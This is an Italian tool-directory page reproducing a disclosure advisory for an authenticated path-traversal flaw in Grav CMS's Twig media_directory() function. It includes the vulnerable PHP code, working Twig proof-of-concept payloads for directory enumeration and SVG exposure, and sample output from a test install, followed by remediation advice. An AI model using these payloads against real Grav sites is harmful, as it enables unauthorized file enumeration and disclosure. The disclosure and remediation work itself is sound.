Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-78851 — Avviso tecnico che descrive una vulnerabilità di path traversal autenticata nella funzione Twig `media_directory()` di Grav CMS, che consente l'enumerazione arbitraria delle directory e la divulgazione dei percorsi del filesystem. | Kitploit
Strumenti/GitHubGitHub/slo-cyber-sec/cve-2026-78851
Analisi delle VulnerabilitàExploitRaccolta InformazioniSicurezza WebPenetration Testing
GitHubslo-cyber-sec/cve-2026-78851

CVE-2026-78851

Avviso tecnico che descrive una vulnerabilità di path traversal autenticata nella funzione Twig `media_directory()` di Grav CMS, che consente l'enumerazione arbitraria delle directory e la divulgazione dei percorsi del filesystem.

Vedi Repository
2 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Grav Path Traversal Autenticato / Divulgazione Arbitraria di Directory tramite Twig media_directory()

Reporter

Nome: CYBER-SEC
Contatto: [email protected]

Riepilogo

La funzione Twig media_directory() di Grav è esposta nella allowlist della sandbox Twig del contenuto delle pagine, ma non applica correttamente il contenimento dei percorsi per input non-stream.

Un utente autenticato con privilegi di modifica delle pagine può chiamare media_directory('/percorso/assoluto') o utilizzare traversal relativo come media_directory('../../../../percorso') all'interno del contenuto delle pagine abilitate a Twig. Grav indicizza quindi i file di tipo media dalle directory leggibili dall'utente del server web.

Gli oggetti Medium restituiti espongono proprietà consentite dalla sandbox come e , con conseguente enumerazione arbitraria delle directory e divulgazione dei percorsi assoluti del filesystem. Per i file immagine/SVG, la generazione di URL o cache può esporre i file tramite la gestione pubblica della cache di Grav.

filepath
filename

Si tratta di una vulnerabilità di divulgazione di informazioni autenticata. Non è noto che consenta sfruttamento non autenticato o esecuzione diretta di codice remoto.

Prodotto Interessato

Prodotto: CMS flat-file Grav
Repository: https://github.com/getgrav/grav
Versioni interessate verificate: 2.0.3, 2.0.4, 2.0.6
Componente: Twig media_directory() / sandbox Twig del contenuto delle pagine di Grav

CWE

  • CWE-22: Limitazione Impropria di un Percorso a una Directory Ristretta ("Path Traversal")
  • CWE-200: Esposizione di Informazioni Sensibili a un Attore Non Autorizzato

CVSS v3.1

Vettore: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Punteggio Base: 6.5 Medio

Requisiti di Attacco

  • L'attaccante deve essere autenticato.
  • L'attaccante deve avere privilegi di modifica delle pagine.
  • L'elaborazione del contenuto Twig deve essere abilitata.
  • La directory di destinazione deve essere leggibile dall'utente del server web.

Dettagli Tecnici

Il sink vulnerabile si trova in:

root@kitploit:~
system/src/Grav/Common/Twig/Extension/GravExtension.php

Logica rilevante:

root@kitploit:~
public function mediaDirFunc($media_dir)
{
    $locator = $this->grav['locator'];

    if ($locator->isStream($media_dir)) {
        $media_dir = $locator->findResource($media_dir);
    }

    if ($media_dir && file_exists($media_dir)) {
        return new Media($media_dir);
    }

    return null;
}

Solo gli input stream:// vengono risolti tramite il locator di Grav. I percorsi assoluti o relativi non-stream vengono passati così come sono a new Media($media_dir) senza validazione canonica realpath(), rifiuto del traversal o contenimento nelle directory controllate da Grav approvate.

La funzione è esposta tramite la allowlist della sandbox Twig del contenuto delle pagine:

root@kitploit:~
system/config/security.yaml
allowed_functions:
  - media_directory

La sandbox consente inoltre metodi/proprietà Medium come:

root@kitploit:~
filepath
filename
url
cache
resize

Ciò consente a un editor di pagine autenticato di divulgare nomi di file e percorsi assoluti da directory leggibili arbitrarie. Per i file immagine/SVG, la generazione pubblica di URL/cache può esporre il contenuto del file.

Prova di Concetto

Con l'elaborazione del contenuto Twig abilitata, creare o modificare una pagina Grav e inserire:

root@kitploit:~
{% for name, m in media_directory('/var/www') %}
{{ name }} = {{ m.filepath }}
{% endfor %}

Forma con traversal:

root@kitploit:~
{% for name, m in media_directory('../../../../app/www/public') %}
{{ name }} = {{ m.filepath }}
{% endfor %}

Esempio di esposizione immagine/SVG:

root@kitploit:~
{{ media_directory('/percorso/assoluto/verso/privato')['secret.svg'].url }}

Quando la pagina viene salvata e renderizzata, Grav indicizza i file dal percorso controllato dall'attaccante ed espone nomi di file e percorsi assoluti del filesystem.

Comportamento Verificato

Verificato su Grav 2.0.6 utilizzando l'immagine Docker linuxserver/grav:latest.

I risultati osservati includevano:

root@kitploit:~
LICENSE.txt    => /app/www/public/LICENSE.txt
composer.json  => /app/www/public/composer.json
robots.txt     => /app/www/public/robots.txt
now.json       => /app/www/public/now.json

È stato confermato anche il traversal relativo:

root@kitploit:~
../../../../app/www/public

L'esposizione di file SVG tramite .url è stata inoltre confermata in un ambiente di test locale controllato.

Impatto

Un editor di pagine autenticato può:

  • Enumerare file di tipo media in directory arbitrarie leggibili dall'utente del server web.
  • Divulgare percorsi assoluti del filesystem e nomi di file.
  • Mappare la struttura dell'applicazione e la disposizione del filesystem lato server.
  • Identificare file sensibili, backup, file di configurazione, log o artefatti di distribuzione per nome.
  • Potenzialmente esporre file immagine/SVG al di fuori della webroot prevista tramite generazione pubblica di cache o URL.

Questa vulnerabilità è di classe divulgativa e non deve essere segnalata come esecuzione di codice remoto.

Rimedio

Correzioni raccomandate:

  1. Rimuovere media_directory dalla allowlist della sandbox Twig del contenuto delle pagine.

oppure:

  1. Applicare un rigoroso contenimento del percorso canonico a media_directory():
  • Risolvere tutti i percorsi utilizzando realpath().
  • Rifiutare percorsi contenenti sequenze di traversal.
  • Rifiutare percorsi che si risolvono al di fuori delle root controllate da Grav approvate.
  • Consentire solo root sicure come user://pages, user://images o altre directory media esplicitamente approvate.
  • Rivalidare i percorsi prima dell'indicizzazione dei file e prima della generazione di cache/URL.

Divulgazione

Questo problema è stato segnalato da CYBER-SEC.

Riferimenti

  • https://github.com/getgrav/grav
  • https://github.com/getgrav/grav/releases
  • https://getgrav.org/downloads
  • https://github.com/getgrav/grav/security/advisories
Scarica lo strumento